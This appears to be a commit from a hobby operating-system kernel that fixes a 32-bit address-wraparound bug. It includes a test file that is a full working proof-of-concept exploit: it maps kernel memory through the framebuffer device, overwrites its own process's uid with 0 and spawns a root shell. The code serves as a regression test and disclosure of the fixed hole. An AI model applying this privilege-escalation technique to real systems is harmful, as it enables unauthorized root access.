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c17f80e720
Previously it was not possible for this function to fail. You could exploit this by triggering the creation of a VMObject whose physical memory range would wrap around the 32-bit limit. It was quite easy to map kernel memory into userspace and read/write whatever you wanted in it. Test: Kernel/bxvga-mmap-kernel-into-userspace.cpp
92 lines
2.1 KiB
C++
92 lines
2.1 KiB
C++
#include <AK/Types.h>
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#include <fcntl.h>
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#include <stdio.h>
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#include <string.h>
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#include <sys/ioctl.h>
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#include <sys/mman.h>
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#include <unistd.h>
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int main()
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{
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int fd = open("/dev/fb0", O_RDWR);
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if (fd < 0) {
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perror("open");
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return 1;
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}
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size_t width = 17825;
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size_t height = 1000;
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size_t pitch = width * 4;
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size_t framebuffer_size_in_bytes = pitch * height * 2;
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FBResolution original_resolution;
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if (ioctl(fd, FB_IOCTL_GET_RESOLUTION, &original_resolution) < 0) {
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perror("ioctl");
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return 1;
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}
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FBResolution resolution;
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resolution.width = width;
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resolution.height = height;
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resolution.pitch = pitch;
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if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &resolution) < 0) {
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perror("ioctl");
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return 1;
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}
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auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
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if (ptr == MAP_FAILED) {
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perror("mmap");
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return 1;
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}
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printf("Success! Evil pointer: %p\n", ptr);
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u8* base = &ptr[128 * MB];
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uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
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printf("base = %p\n", base);
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printf("g_processes = %#08x\n", g_processes);
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auto get_ptr = [&](uintptr_t value) -> void* {
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value -= 0xc0000000;
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return (void*)&base[value];
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};
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struct ProcessList {
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uintptr_t head;
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uintptr_t tail;
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};
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struct Process {
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// 32 next
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// 40 pid
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// 44 uid
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u8 dummy[32];
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uintptr_t next;
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u8 dummy2[4];
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pid_t pid;
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uid_t uid;
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};
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ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
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Process* process = (Process*)get_ptr(process_list->head);
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printf("{%p} PID: %d, UID: %d, next: %#08x\n", process, process->pid, process->uid, process->next);
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if (process->pid == getpid()) {
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printf("That's me! Let's become r00t!\n");
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process->uid = 0;
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}
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if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &original_resolution) < 0) {
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perror("ioctl");
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return 1;
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}
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execl("/bin/sh", "sh", nullptr);
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return 0;
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}
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